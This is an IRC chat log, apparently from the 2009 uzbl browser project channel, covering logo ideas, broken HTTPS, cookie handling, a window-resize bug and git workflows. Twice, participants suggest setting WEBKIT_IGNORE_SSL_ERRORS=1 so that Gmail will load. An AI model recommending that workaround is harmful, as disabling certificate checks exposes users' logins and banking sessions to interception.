17:13 < fogobogo> probably the shittiest svg on earth
17:13 < fogobogo> im so gonna need to do this again
17:21 < Dieterbe> lets see
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17:21 < Dieterbe> ugh. not really what i had in mind fogobogo 
17:22 < Dieterbe> fogobogo: but, you don't have to worry about that anymore. see http://thorwil.wordpress.com/2009/05/03/uzbl-3/ :P
17:24 < fogobogo> Dieterbe: no problem . wanted to play with inkscape a little anyway
17:25 < fogobogo> and mine looks better anyway :D
17:26 < Dieterbe> RIGHT\
17:29 < ruskie> lol
17:29 < ruskie> neither are really nice imho
17:30 < fogobogo> *this* is not nice http://xcb.freedesktop.org/http://xcb.freedesktop.org/
17:30 < ruskie> why not post a contest for a logo with some cash prize and so on? xmms2 did similar seems to have worked out very well
17:31  * fogobogo needs a few more inkscape screencasts
17:31  * ruskie wonders... what does uzbl mean?
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17:35 < barrucadu> Hi
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17:39 < Dieterbe> ruskie: cash prize.. lol
17:39 < Dieterbe> do i look like i can shit money? :P
17:40 < Dieterbe> fogobogo: actually i think the xcb one looks quite okay. i could use it:P
17:41 < ruskie> Dieterbe, nobody said this instant ;)
17:41 < fogobogo> elephantitis cat has elephantitis
17:41 < ruskie> get going with it... get some donations etc...
17:41 < ruskie> then maybe
17:41 < fogobogo> anways. if thats what you had in mind gimme a second try
17:41 < ruskie> xmms2 could do it cause they got the money from gsoc
17:41 < fogobogo> and contest is good imho
17:42 < fogobogo> even without the cash
17:42 < ruskie> true
17:42 < Dieterbe> why would i hold a contest if i like the one made by someone who does it for free
17:43 < Dieterbe> and which is nearly done, btw
17:43 < ruskie> just a suggestion lol
17:43 < fogobogo> *ehem* i dont remind presenting you a bill
17:43 < fogobogo> :D
17:44 < ruskie> I don't see a connection between uzbl and a cat though
17:44 < fogobogo> webkat
17:44 < Dieterbe> ruskie: you need to spend more time on icanhascheezburger.com
17:44 < ruskie> Dieterbe, you mean more than a few days worth of going from page 1 to page 200 or so?
17:45 < Dieterbe> ruskie: no, just until you get what uzbl means :)
17:47 < ruskie> search doesn't find any mention of uzbl
17:47 < ruskie> do enlighten me
17:48 < Dieterbe> it means the UZable Browser Lol(cat)
17:48 < barrucadu> Wow, we have a backonym now? <.>
17:48 < barrucadu> *backronym
17:50 < Dieterbe> barrucadu: yeah someone made this up on the forums
17:50 < fogobogo> barrucadu: http://omploader.org/vMW1mMA
17:50 < Dieterbe> aaargh put it away put it away 
17:51 < fogobogo> :D
17:51 < barrucadu> :O
17:51 < barrucadu> :p
17:52 < ruskie> lol
17:52 < ruskie> I'd take the head from that
17:52 < ruskie> looks nice for an icon... if I ever used icons
17:53 < fogobogo> ruskie: btw. what needs to be done in you opinion?
17:53  * ruskie notes that his fvwm config does a whole lot without needing the mouse
17:54 < ruskie> well if you're trying to mimic a siamese type cat then it needs less white ;)
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17:55 < fogobogo> :O
17:55 < ruskie> they tend to be goldenbrowngrey with darker bits on face, paws, tail...
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17:55 < fogobogo> GOLDEN BROWN! TEXTURE LIKE SUN...
17:56 < fogobogo> due lack of cats i didnt know but ill mind it
17:56  * barrucadu plays with his user-agent
17:57 < ruskie> http://en.wikipedia.org/wiki/Siamese_cat <-- fogobogo there is a white as well
17:57 < ruskie> but seems to be more current
17:58 < ruskie> they look whitish
17:58 < ruskie> my aunt has had siamese cats since forever
17:58 < fogobogo> http://www.google.de/imgres?imgurl=http://chinkisiamese.com/siamese_cats_mkayla.jpg&imgrefurl=http://chinkisiamese.com/SIAMESE_CATS_PHOTOS.HTM&h=800&w=986&sz=695&tbnid=Wk1mprfwjncEbM::&tbnh=121&tbnw=149&prev=/images%3Fq%3Dsiamese%2Bcat&usg=__E1h1WR3hX1xNgZq5nPlzw4AFqRE=&ei=mBD_SdOfC9GRsAab6MjOCQ&sa=X&oi=image_result&resnum=4&ct=image
17:58 < ruskie> I'm alergic to them sadly
17:58 < fogobogo> shit link
17:59 < ruskie> good link
17:59 < fogobogo> http://chinkisiamese.com/siamese_cats_mkayla.jpg
17:59 < ruskie> long links == good
17:59 < ruskie> short urls == BAD
17:59 < fogobogo> there. thats better
17:59 < fogobogo> m'kay
17:59 < ruskie> anyway yeah I guess there are colour mixes
18:00 < fogobogo> likely.
18:01  * ruskie has just normal cats but they are a mix between maine coon and regular... one is all black with a few white hairs here and there the other is tiger textured
18:01 < ruskie> and both are ~8kgs each....
18:01 < fogobogo> :O
18:03 < fogobogo> fatcat or longcat?
18:05 < ruskie> neither
18:06 < ruskie> they are naturally bigger
18:06 < ruskie> same proportions of everything just bigger over all
18:06 < barrucadu> I used to have a cat. My mum got him when I was born so we grew up together. He was a fat ginger cat. He died several years ago and I haven't had a cat since ;(
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18:09 < darwin> is there a branch of uzbl that handles ssl?
18:10 < barrucadu> darwin: what do you mean? HTTPS sites work already
18:11 < ruskie> maybe he means ssl certificate management and such like?
18:11 < darwin> yeah? hmm
18:11 < darwin> I haven't been able to navigate to https pages yet
18:11 < darwin> can't even log into gmail for instance
18:12 < barrucadu> I've just tested one, I'll try gmail just to see
18:12 < barrucadu> Hmm, gmail doesn't work
18:13 < barrucadu> Nor does my online banking
18:13 < barrucadu> I retract my statement.
18:13 < barrucadu> Few https sites work :p
18:13 < darwin> I compiled a nightly of webkit some days back, only flag I gave it was --disable-video cause it wanted gstreamer for that, but I wouldn't expect that is related
18:13 < darwin> lol, ok at least its not just me
18:14 < darwin> other than that, I like where the project is going
18:16 < barrucadu> So, SSL and link following. That's all we *really* need to do :)
18:18 < darwin> should uzbl be "cleaning up" after exit; I noticed there were still some uzbl_ files in /tmp after it was closed
18:18 < darwin> maybe I was not exiting it properly, though
18:18 < ruskie> barrucadu, don't forget tabs ;)
18:18 < Nezmer> For SSL : Midori offered this trick long time ago..
18:18 < Nezmer> export WEBKIT_IGNORE_SSL_ERRORS="1"
18:19 < darwin> oh, nice
18:19 < anydot> That is really HACK. :-)
18:19 < ruskie> barrucadu, though I'm thinking if it would be possible to get tabs through gtk-server
18:19 < ruskie> and thus avoiding most stuff other than having a open-in-new-tab link...
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18:24  * ruskie is trying to figure out all the combos for the 6 keys on the pebble... sheesh...
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18:50 < dusanx> Good evening :)
18:50 < dusanx> what did I missed?
18:51 < barrucadu> Well, darwin found that SSL doesn't work
18:51 < ruskie> s/ed?/?/
18:51 < dusanx> barrucadu: really?
18:51 < barrucadu> There hasn't been much activity on github, so i can't check :p
18:52 < barrucadu> dusanx: really really
18:52 < barrucadu> :p
18:52 < dusanx> hmm, I am convinced that I visited some ssl site this morning
18:52 < barrucadu> A few work
18:52 < dusanx> oh
18:52 < barrucadu> Most don't
18:52 < barrucadu> Gmail, for example
18:54 < sm217> :|
18:54 < dusanx> well ssl support is no show stopper for me
18:54 < barrucadu> Nor me
18:54 < barrucadu> But it's one of those things people would expect a browser to have :p
18:54 < ruskie> I tend to need it once per month atleast
18:54 < ruskie> for paying bills
18:55 < sm217> I'd look at it, but I'm busy with my project :<
18:55 < dusanx> like I heard somewhere that ssl in midori has something to do with gnome so next gnome version will allow fine ssl connection
18:56 < sm217> because that's libsoup-related
18:57 < dusanx> mmm... soup :)
18:57 < sm217> :)
18:57 < dusanx> anything new about cookies?
18:57 < sm217> no :|
18:58 < sm217> I have some urgent work to do
18:58 < ruskie> awwwww
18:58 < barrucadu> Soup, cookies… :)
18:58 < sm217> aha
18:58 < barrucadu> I'm hungry now :p
18:58 < sm217> why don't you try some soup
18:59 < barrucadu> I would, but I have an ulcer on my lip. I imagine it would be incredibly painful.
18:59 < barrucadu> I'm trying to avoid food with sauces
18:59 < barrucadu> I suffer from ulcers often :(
18:59 < sm217> because, I'll hardly be able to finish with cookies before I leave
18:59 < sm217> :<
19:00 < barrucadu> :p
19:00 < barrucadu> I wonder if there are any cookies in the house…
19:00 < sm217> so if you want SLL earlier than 3+ weeks, someone will have to do it.
19:03 < sm217> anyone? :P
19:04 < barrucadu> Don't all volunteer at once <.>
19:05  * ruskie points into 27 directions at the same time
19:05 < sm217> huh?
19:05 < dodobas> yello
19:05 < sm217> w?
19:05 < ruskie> there's 28 ppl in the chan... excluding myself that's 27 people ;)
19:05 < sm217> :P
19:05 < darwin> heh, since I am most interested, I might unofficially take on this idea
19:06 < sm217> one of them is a bot, maybe even two :p
19:08  * ruskie contemplates dragging his own bot in here
19:08 < dodobas> no bots, allowed :D
19:09 < ruskie> well I wouldn't unless clearing it with the chanops ;)
19:12 < ruskie> this is actually the first browser in the last 4 years that I will actually switch to...
19:13 < dusanx> Dieterbe is away?
19:15 < Dieterbe> here i am !!!
19:15 < Dieterbe> home sweet home
19:15 < Dieterbe> theire was a traffic jam :(
19:16 < dusanx> :)
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19:22 < Dieterbe> only 2 people to pull from. weak :P
19:22 < dusanx> can some kind soul finish cookies? I am not good at that or I would do that
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19:25 < anydot> How it would be with cookies storage?
19:25 < Dieterbe> the problem is sm217 did not push his code
19:25 < Dieterbe> so we don't know how far he got
19:26 < Dieterbe> and i got some ideas about cookie storage, i'll start hacking on that
19:26 < dusanx> Dieterbe: thanks
19:26 < anydot> Basicaly, someone must just extend SoupCookie :)
19:26 < anydot> And BTW, there's now file backed cookie storage.
19:27 < dusanx> anydot: no, Dieterbe had good idea
19:27 < sm217> Dieterbe: it's almost done, but I have urgent work to do :<
19:27 < anydot> Well, I basicaly ask for it, just no-one answered :)
19:27 < anydot> sm217: push what you got into some temporary branch.
19:27 < sm217> okay
19:28 < Dieterbe> anydot> Well, I basicaly ask for it, just no-one answered :)
19:28 < ruskie> hmmm something odd with uzbl... seems to resize on some loads of pages...
19:28 < Dieterbe> you asked for what anydot ?
19:28 < anydot> How storage for cookies will be solved.
19:28 < ruskie> this is annoynig
19:29 < Dieterbe> anydot: well. i have an idea for that which i will implement now. or did you do anything for this already?
19:29 < ruskie> keeps resizing at random from what I can tell
19:29 < Dieterbe> ruskie: it's fixed in the latest code. just update
19:29 < anydot> ruskie: nope
19:29 < anydot> ruskie: Should be solved by now.
19:29 < anydot> ruskie: Just try Dieterbe/experimental, not /master :)
19:29 < ruskie> I'll wait for it to get to master
19:29 < sm217> oh
19:29 < sm217> it actually seems to be working
19:30 < Dieterbe> master has the fix too btw
19:30 < anydot> Dieterbe: No, I just read documentation and some code, ... same preparation job. :-)
19:30 < Dieterbe> anydot: k
19:30 < anydot> Dieterbe: But never thought of good solution for storage.
19:30 < ruskie> btw anyone good at reverse engineering file formats?
19:31 < anydot> If this will be solved by external script "give me cookie for site XY", that will be really slow.
19:31 < anydot> Remind of website with some tons of images for example.
19:31 < anydot> ruskie: Which fileformat are you reverse engineering?
19:32 < Dieterbe> anydot: we will solve such problems when they arise
19:32 < ruskie> I have a Samsung YP-S2 ogg player... and it has a YP-S2.LOG on it... but it's not plain text
19:32 < ruskie> Dieterbe, I updated... still the same...
19:33 < ruskie> hmm
19:33 < Dieterbe> ruskie: on which page?
19:33  * ruskie checks something
19:33 < anydot> ruskie: You mean problem described here: http://www.uzbl.org/bugs/index.php?do=details&task_id=7
19:33 < ruskie> samsung.com
19:33 < anydot> Are you realy using experimental?
19:34 < ruskie> anydot, you missed the part that said about this being in master
19:34 < anydot> ah
19:34 < sm217> okay I pushed what I have to branch 'cookies'
19:35 < sm217> beware, it segfaults
19:35 < anydot> :)
19:35 < Dieterbe> anydot: i can confirm it, the problem is still there with latest experimental
19:35 < sm217> I woked quite late yesterday and didn't look at it wince then.
19:35 < sm217> *since
19:35 < anydot> ruskie: sorry, I have no problem with random resize while surfing that samsung.com
19:36 < ruskie> anydot, well I gotten the latest master and I do
19:36 < Dieterbe> anydot: make sure your window manager does not force anything (eg use floating mode), and make it small in the beginning
19:36 < ruskie> and it seems Dieterbe has the same
19:36 < Dieterbe> yep
19:36 < anydot> Dieterbe: of course I have floating by now. :)
19:36 < Dieterbe> on the other hand.. is this really a bug? seems more like a feature to me
19:36 < anydot> And of course I did resize it to minimum.
19:36  * ruskie tends to uses maximize since he has a deditacted vdesk for it
19:36 < anydot> No, was bug.
19:37 < anydot> Dieterbe: There was problem with hovering links, text in statusbar was too long to fit window, so that label expand whole window.
19:37 < Dieterbe> i for one think it's nice to have autoresize if the content doesn't fit. if you don't like it, don't use floating mode
19:37 < Dieterbe> ah
19:37 < anydot> And, that was solved by enabling label to ellipsize string, in case the label was too short.
19:37 < anydot> Dieterbe: No, that was only coincidence.
19:38 < Dieterbe> indeed it's caused by the text in the statusbar
19:38 < anydot> It was really only that above described problem with label. :)O
19:38 < Dieterbe> ok so fix it :P
19:38 < anydot> It's fixed by now.
19:38 < ruskie> Dieterbe, it's not nice if it keeps changing
19:38 < anydot> mabe some gtk/pango problem
19:38 < ruskie> I don't want my windows changing sizes at random
19:39 < ruskie> if I set them to some size I expect them to stay there
19:39 < Dieterbe> anydot: i've pulled in your fix a few days ago but i still have the problem
19:39 < dusanx> hmm, windows should stay where they are IMO
19:39 < anydot> yep
19:40 < anydot> Dieterbe: ehm
19:40 < anydot> http://github.com/Dieterbe/uzbl/blob/af759cbd5e52bbe629842570c311c6a55fd5b212/uzbl.c
19:40 < anydot> This is uzbl.c from HEAD of your master.
19:41 < anydot> There IS NOT that ellipsize change from my bugfix.
19:41 < Dieterbe> i said i merged it in my EXPERIMENTAL
19:41 < anydot> No, you said, that that fix shoul be by now even in master
19:42 < anydot> 0504 19:30 <     Dieterbe> master has the fix too btw
19:42 < Dieterbe> aha well then i was obviously wrong
19:42 < anydot> Looks like it.
19:42 < Dieterbe> but the fix is in experimental, and the problem is still in there
19:43 < anydot> I can't reproduce it.
19:43 < anydot> ruskie: Could you please build uzbl from Dieterbe/experimental branch?
19:43 < anydot> And retry, if the bug is still there?
19:43 < ruskie> sure thing
19:44 < anydot> Funny, I can't fine that change applied even in /experimental. :)
19:44 < anydot> ruskie:
19:44 < anydot> git@github.com:anydot/uzbl.git
19:44 < anydot> build from master of this.
19:45 < anydot> nah, my master looks like blocked by latest barrucadu commits. :)
19:46 < Dieterbe> hello github !!
19:47 < anydot> commit f8c04abadc90d0b6f47b44054bafeb5dac367876 was repair of this bug.
19:47 < anydot> Dieterbe: You do merges only via github webinterface?
19:47 < Dieterbe> no
19:47 < Dieterbe> my experimental has that line
19:48 < anydot> hmm
19:49 < anydot> OK, so you both, try building it from Dieterbe/experimental. :)
19:50 < ruskie> anydot, works
19:50 < ruskie> from yours
19:50 < anydot> Hooray :)
19:50 < ruskie> now will try experimental
19:50 < anydot> Should be from Dieterbe/experimental then.
20:03  * ruskie finds a bug in the git handler for sorcery and goes trying to figure it out
20:04 < Dieterbe> ruskie: why don't you just get uzbl-experimental-git from AUR?
20:06 < ruskie> this is source mage
20:06 < ruskie> not arch ;)
20:06 < sm217> D:
20:09 < anydot> Debian power!
20:10 < ruskie> yeah experimental has it
20:11 < sm217> eww.
20:12 < dpb> eww?
20:13 < sm217> forget it.
20:14 < dpb> Already did. Until I looked back here.
20:15 < sm217> huh
20:15 < anydot> Cool feature.
20:16 < anydot> Predictive forgeting. :)
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20:19 < Dieterbe> so ruskie , still the problem?
20:19 < mcx2> hi :)
20:19 < ruskie> as said no
20:19 < ruskie> experimental has it...
20:20 < sm217> hi mcx2
20:21 < mcx2> has anybody test uzbl on fbsd? it failed http://4bit.ws/~dhn/uzbl_fail.txt
20:21 < anydot> nope.
20:22 < sm217> mcx2: what's your webkit version?
20:22 < sm217> one guy had problems too, turned out that he had old webkit.
20:23 < anydot> Yep, you must use 1.1.x version.
20:23 < anydot> It's not buildable with 1.0.x
20:24 < mcx2> k
20:24 < mcx2> thx for the info :)
20:29 < _19LIONZ_> Just installed uzbl to test gmail
20:29 < _19LIONZ_> http://omploader.org/vMW1nMw
20:31 < rob|> man, git sucks!
20:32 < darwin> how did you get to gmail?
20:32 < rob|> it takes just to many steps for basic stuff
20:32 < ruskie> rob|, like?
20:33 < rob|> like simpe commits and switching between branches
20:33 < ruskie> git commit -m "stuff" stuff ; git checkout branch
20:33 < rob|> you have to issue like 4 commands to accomplish just one task
20:33 < ruskie> what's so hard there?
20:33 < sm217> :S
20:34 < rob|> ruskie: you forgor the push/pull orgy
20:34 < rob|> *forgot
20:34 < ruskie> you didn't mention that
20:34 < anydot> git 1.5.x it's not much (if even) trickier than mercurial.
20:34 < darwin> _19LIONZ_: what did you do to get uzbl working with gmail?
20:34 < ruskie> but it's not meant to push each and every commit all the time
20:34 < sm217> strange
20:35 < ruskie> you commit localy then push end of the day or so
20:35 < anydot> rob|: In every DVCS you have pull/push/merge
20:35 < anydot> rob|: It's just not centralized VCS. :-)
20:35 < rob|> anydot: sure, but git's way of overcomplicating stuff feels strange
20:35 < anydot> Like SVN, or whatever are you used in.
20:35 < ruskie> rob|, what's overcomplicated?
20:36  * ruskie still doesn't get it
20:36 < anydot> Yep, same question.
20:36 < rob|> erm, see above?
20:36 < _19LIONZ_> darwin: export WEBKIT_IGNORE_SSL_ERRORS="1"
20:36 < anydot> rob|: answer, see above. :)
20:37 < rob|> well, i'm probably just too used to svn/hg ;) - that might explain it
20:37 < anydot> rob|: in hg, you must use pull/push/merge too!!
20:37 < darwin> hrmph
20:37 < anydot> So it's not argument for you then :)
20:38 < darwin> _19LIONZ_: what login shell ?
20:38 < darwin> I wonder if zsh is messing this up
20:38 < sm217> :(
20:38 < dusanx> rob|: I can completely understand you, git was totaly wrong tool for me few days ago, I managed to learn how to use it -- git is now barable.
20:38 < _19LIONZ_> darwin: zsh here
20:38 < darwin> well, shoot
20:38 < rob|> anydot: sure, though with mercurial i had no starting difficulties, everything felt logical - git is the exact opposite
20:38 < ruskie> rob|, with me it's the opposite
20:38 < ruskie> I had issues with hg
20:39 < anydot> rob|: Can't agree with you.
20:39 < _19LIONZ_> darwin: add to ~/.zshrc then source ~/.zshrc
20:39 < anydot> From user POV, tha basic of using git/hg is SAME.
20:39 < ruskie> yup
20:39 < ruskie> it's just the commands that differ
20:40 < anydot> Just that hg doesn't (still :() have lightweight branches, and instead of that you have many clones of same repository.
20:40 < anydot> That's mainly difference.
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20:40 < anydot> Newer mercurial has even rebase and transplant (git cherry-pick)
20:41 < anydot> On the other site, git 1.5.x has support for builtin use of quilt (aka hg q*)
20:41 < anydot> *side
20:41 < rob|> i should probably do more reading on git - yet another vcs that needs learning time that could be better invested in actual coding :(
20:42 < anydot> If you are used to hg, then it is easy for you.
20:42 < anydot> If you mainly use SVN, then it will be harder for you, as for any distributed VCS you will try.
20:42 < rob|> well i wouldn't say i'm really used to hg, just used it a couple of times. my main vcs is svn
20:43 < anydot> He's the problem! :-)
20:43 < ruskie> I've been using git from mid 2006
20:43 < anydot> Dark 1.4.x times ... :-)
20:43 < ruskie> I guess it makes a difference
20:43 < rob|> for sure
20:44 < ruskie> anydot, started with 1.3 ;)
20:44 < rob|> if github wouldn't exist, git would really be a showstopper for me to commit anything to uzbl.
20:44 < anydot> In that time, git was nightmare for newbie ;)
20:44 < ruskie> rob|, there's also http://repo.or.cz :)
20:45 < anydot> repo.or.cz was even first public githosting.
20:45 < anydot> github is more aimed to that damnes social and web2.0 thingies.
20:45 < rob|> anydot: i'm at war with the czech ;)
20:45 < ruskie> anydot, sadly yeah
20:46 < rob|> since they broke into my car last weekend...
20:46 < ruskie> I'm happy with repo.or.cz for my public stuff
20:46 < anydot> rob|: Beware, I'm from CZ too! :)
20:46 < ruskie> for my private stuff I have it on my own server(i.e. configs etc...)
20:46 < rob|> anydot: no seriously. i was in prague last we and liked it a lot, beautiful city
20:47 < anydot> rob|: I read your story with car etc. :)
20:47 < dodobas> hehe, im not from CZ, but 'rozumim ceski, pomalicku' :)
20:47 < rob|> anydot: but those guys breaking into my car made me go wild ;)
20:47 < anydot> dodobas: Good for you!
20:47  * ruskie is slavic but further west and south...
20:47 < anydot> What country do you mean?
20:47 < dodobas> ruskie: west and south? from wath?
20:48 < dodobas> *what
20:48 < ruskie> dodobas, from CZ ;)
20:48 < dodobas> there is noting slavic, west and south from CZ
20:48 < dodobas> correct me if im wrong
20:48 < ruskie> hmm actually checknig the map looks like directly south infact
20:48 < anydot> ruskie: from west south of CZ there's no country with slavic language, IMHO.
20:49 < anydot> Croatia/Slovenia?
20:49 < ruskie> Slovenia ;)
20:49 < ruskie> so there is ;)
20:49 < anydot> That's clear south man!
20:49 < ruskie> yeah
20:49 < dusanx> and Serbia
20:49 < ruskie> I noticed after checking the map
20:49 < dodobas> im from Croatia...
20:49 < ruskie> my internal map was different
20:49 < dusanx> Znam dodobas, proverio ;)
20:49 < anydot> Was you ever been on triglav? :)
20:49 < ruskie> had to refresh it every so often
20:49 < ruskie> nope
20:50 < anydot> Too bad for you!
20:50 < ruskie> not much of a hiker/mounteneeir
20:50 < dodobas> hehe dusanx
20:50 < dusanx> we are international team with the same common goal ;)
20:51 < anydot> paneurope :)
20:51 < ruskie> most Free Software projects are
20:51 < dodobas> yes, survival :)
20:51 < anydot> Is there someone not from Europe?
20:52 < dodobas> i guess not, everybody's on CET :D
20:52 < anydot> :)
20:52 < ruskie> I think someone is on CET-1
20:52 < dusanx> what is CET-1? islands?
20:53 < anydot> No, UK
20:53 < anydot> CET == UTC+1
20:53 < dusanx> hmm CET != UTC
20:53 < ruskie> yup
20:53 < ruskie> never was
20:53 < dusanx> mixed it with GMT, true
20:53 < anydot> dusanx: I wrote +1
20:54 < ruskie> [12:02:16] <barrucadu> It's only 11AM. I cna be forgiven <.>
20:54 < dusanx> anydot: yes but ruskie wrote -1
20:54 < anydot> Yes.
20:54 < anydot> CET-1 == UK
20:54 < ruskie> dusanx, but time-wise GMT == UTC ;)
20:54  * barrucadu sees a yellow name
20:54 < barrucadu> I have been quoted!
20:54  * barrucadu pays attention
20:54 < ruskie> yay
20:54 < anydot> Because CET == UTC+1
20:55 < ruskie> we were talking about timezones
20:55 < dusanx> ruskie: we have too many time standards anyway
20:55 < ruskie> dusanx, UTC is the safest bet in general
20:55  * barrucadu ventures off to another workspace to do some work he's been putting off for weeks
20:55 < dodobas> dont get me started about UTC!=GMT
20:56  * darwin is umm, not in europe...
20:56 < dusanx> brb
20:56 < ruskie> yay a US person
20:56 < ruskie> US - USA - United States - MO - 63108 - Saint Louis <-- as close as geoip can place you darwin ;)
20:57 < anydot> darwin: Are you same person as cdarwin on #dwm?
20:57 < darwin> thats exactly correct
20:57 < darwin> Y
20:57 < darwin> at least, for this host
20:57 < anydot> :)
20:57 < sm217> lol
20:57 < anydot> Thought so.
20:57 < anydot> darwin: cdarwin was occupied?
20:57 < darwin> probably the only US person in there too
20:58 < sm217> as I read my yesterdays code, I find more lulz
20:58 < darwin> anydot: idk, I'm just lazy
20:58 < anydot> hehe
20:59 < sm217> if I free malloc'd char *, do I need to add (char *) ?
20:59 < anydot> No.
20:59 < sm217> ok
20:59 < anydot> free has void* prototype.
21:00 < sm217> which is universal?
21:00 < anydot> Sort of.
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21:05 < sm217> well, I've got something working
21:05 < sm217> cookies are sent to store and requested
21:07 < anydot> heh, Still didn't looked on your branch. :(
21:07 < sm217> it's not finished yet
21:07 < sm217> committed what I have
21:07 < anydot> I know, just wanted to looked it.
21:07 < sm217> brb
21:08 < anydot> BTW, is anyone here playing on FICS?
21:08 < barrucadu> FICS?
21:08  * barrucadu googles
21:08 < anydot> free internet chess server
21:09 < anydot> see freechess.net
21:09 < dusanx> no but I am playing UT and xmoto :)
21:09  * ruskie prefers Go but sadly don't think there's much there to play
21:26 < Dieterbe> sm217: i just wrote a cookie handler
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21:28 < github> uzbl: Dieter Plaetinck experimental SHA1-da643e8
21:28 < github> move datafiles into own dir
21:28 < github> http://bit.ly/3qe9q
21:28 < github> uzbl: Dieter Plaetinck experimental SHA1-8776679
21:28 < github> bookmarks location update + slight fixes re INSTALL file
21:28 < github> http://bit.ly/gTIpJ
21:28 < rob|> Dieterbe: did you have a look into my latest github stuff? i'd like to hear an opinion before i start to cobert all of the code
21:28 < github> uzbl: Dieter Plaetinck experimental SHA1-1df7247
21:28 < github> bookmarks file location fix
21:28 < github> http://bit.ly/wnGmf
21:28 < github> uzbl: Dieter Plaetinck experimental SHA1-1ba4dfe
21:28 < github> sample cookie handler and config file
21:28 < github> http://bit.ly/knrPO
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21:29 < rob|> *convert
21:29 -!- github [n=github@129.177.74.65.static.xc88.engineyard.com] has joined #uzbl
21:29 < github> uzbl: Dieter Plaetinck experimental SHA1-b8de166
21:29 < github> enable cookie handler in configs
21:29 < github> http://bit.ly/G5mNh
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21:31 < Dieterbe> rob|: are your commits commits of your own changes + merges at the same time?
21:31 < Dieterbe> http://github.com/robm/uzbl/commit/52745ac751c8c61109bb376297057b62222f49f6 looks like you did a merge and some changes yourself
21:32 < rob|> well, i took your latest experimental branch and modified it
21:32 < anydot> Ah, that's awfull commit.
21:33 < anydot> Mixed up god know what, and in same time also code reindentation.
21:33 < rob|> i told you, i'm not a friend of git ;)
21:33 < barrucadu> Dieterbe: "+* DARCH is not correct (should be at runtime)" - why should it be at runtime? The build-time arch never changes.
21:33 < barrucadu> There is a variable for showing the arch of the OS
21:34 < anydot> eeh
21:34 < anydot> Look at lines 100-
21:34 < anydot> Command struct doesn't look like this for ages.
21:35 < rob|> that's odd
21:35 < anydot> Yep.
21:35 < anydot> http://book.git-scm.com/
21:35 < anydot> read something here, looks good.
21:35 < rob|> git becomes more and more a showstopper for me, i don't have the time and will to learn yet another vcs :(
21:36 < anydot> Anyway, in that patch, what was you really changing?
21:36 < anydot> Dieterbe: Don't accept it :)
21:37 < Dieterbe> barrucadu: DARCH gets set to the architecture of the build system (kernel). this has nothing to do with the architecture (kernel) of the system at runtime
21:37 < dusanx> Dieterbe: do I see cookies in your last commit?
21:37 < barrucadu> Dieterbe: I know, that's why there are %arch-system% and %arch-uzbl% variables.
21:38 < rob|> anydot: the idea is to have a basic set of data structures that holds all/most of uzbl's variables
21:38 < barrucadu> Dieterbe: The %arch-system% variable is grabbed from uname(), and %arch-uzbl% is set at compile time.
21:38 < rob|> anydot: so one struct UZBL per uzbl insatnce
21:38 < rob|> basically
21:38 < anydot> rob|: so everything (almost) is in struct uzbl instead of global?
21:39 < dusanx> struct will be global if I understood right?
21:39 < Dieterbe> barrucadu:"and %arch-uzbl% is set at compile time." <--- set from the arch of the build time system. what is the relevance of this? and why is this variable called arch-uzbl? it has nothing to do with uzbl, in fact it has nothing to do with the entire system uzbl is running on
21:40 < barrucadu> Dieterbe: It is the arch of the uzbl binary, so it does have something to do with uzbl.
21:40 < rob|> anydot: yes, just like most of the vars are global right now
21:40 < dusanx> Dieterbe: uzbl / examples / configs / sampleconfig-dev : cookie_handler = ./examples/scripts/history.sh ?
21:40 < Dieterbe> dusanx> Dieterbe: do I see cookies in your last commit? <-- only a config file + handler script. for the uzbl implementation (which sholud be pretty basic) we're waiting on sm217 
21:40 < anydot> I'll try to unmess it somehow.
21:40 < Dieterbe> barrucadu: but you set it with uname -m ?
21:41 < Dieterbe> dusanx: oops my mistake . will fix
21:41 < dusanx> Dieterbe: ;)
21:41 < barrucadu> Dieterbe: yes
21:41 < _19LIONZ_> Is proxy support functional ?
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21:41 < github> uzbl: Dieter Plaetinck experimental SHA1-3338b74
21:41 < github> correct cookie handler script
21:41 < github> http://bit.ly/H8SNE
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21:41 < dusanx> sm217: will not be able to finish cookies for next three weeks
21:43 < sm217> no
21:43 < sm217> if I do them today/tomorrow, it's ok
21:43 < sm217> I said that about SSL
21:43 < dusanx> sm217: thanks :) We want cookies! :)
21:43 < Dieterbe> barrucadu: well, you can build 32binaries on a 64bit host system for example. my point is that the arch of the kernel of the build system has nothing to do with the arch format of the built binary
21:43 < sm217> Dieterbe: paste it please
21:44 < Dieterbe> sm217: it's in my latest experimental
21:44 < anydot> rob|: What should COMM stand for?
21:44 < anydot> Command what :)
21:44 < sm217> I hope you followed my spec :>
21:44 < rob|> communication actually
21:44 < anydot> ah
21:44 < rob|> i.e. communication with the outside world
21:44 < Dieterbe> that sounds so fancy
21:44 < Dieterbe> 'the outside world"
21:45 < Dieterbe> barrucadu: do you understand what i mean?
21:45 < barrucadu> Dieterbe: Yes, I didn't know that
21:46 < Dieterbe> barrucadu: okay. so we should think of a better solution. but this is not very urgent
21:46 < _19LIONZ_> Is proxy support functional ? privoxy is not working for me
21:46 < anydot> Oh man.
21:46 < anydot> gchar    *config_file_path[500]
21:46 < anydot> rob|: You really want five hundreds of char*? :)
21:47 < dusanx> anydot: that's my line I believe
21:47 < anydot> No.
21:47 < dusanx> nope
21:47 < rob|> anydot: no, i took was was there - just restructured it
21:47 < dusanx> not mine, sorry
21:47 < rob|> *what
21:47 < anydot> ahaa
21:48 < Dieterbe> _19LIONZ_: it should work yeah. SOCKS proxying that is
21:49 < dusanx> no, gchar config_file_path[500] was original, not pointers
21:49 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff rob/master | wc -l
21:49 < Dieterbe> 2053
21:49 < Dieterbe> o_O
21:49 < Dieterbe> that's more then twice the length of uzbl.c :P
21:50 < anydot> Yeah.
21:50 < _19LIONZ_> Dieterbe: not working for me (master branch)
21:50 < anydot> I'm reworking that patch.
21:50 < Dieterbe> rob|: i suggest you merge Dieterbe/experimental so that the difference between you and me is only what it should it be
21:50 < anydot> Dieterbe: Don't even look at it. :-)
21:51 < anydot> Well, the best will be: throw away you repository, and create new by cloning/forking from dieterbe.
21:51 < anydot> Dieterbe: Still, this will left that mess in history.
21:51 < anydot> With only simple merging.
21:51 < sm217> hmm
21:51 < anydot> This is task for rebase/commit --amend :)
21:52 < Dieterbe> _19LIONZ_: is privoxy SOCKS ?
21:52 < anydot> iirc yes.
21:52 < anydot> hmm
21:52 < _19LIONZ_> Another question : Can I pass arguments to dmenu like '-fn' easily ?
21:52 < _19LIONZ_> Dieterbe: don't know
21:52 < barrucadu> Dieterbe: Does git diff actually serve any use?
21:52 < sm217> Dieterbe: how do I configure your script to send out cookies?
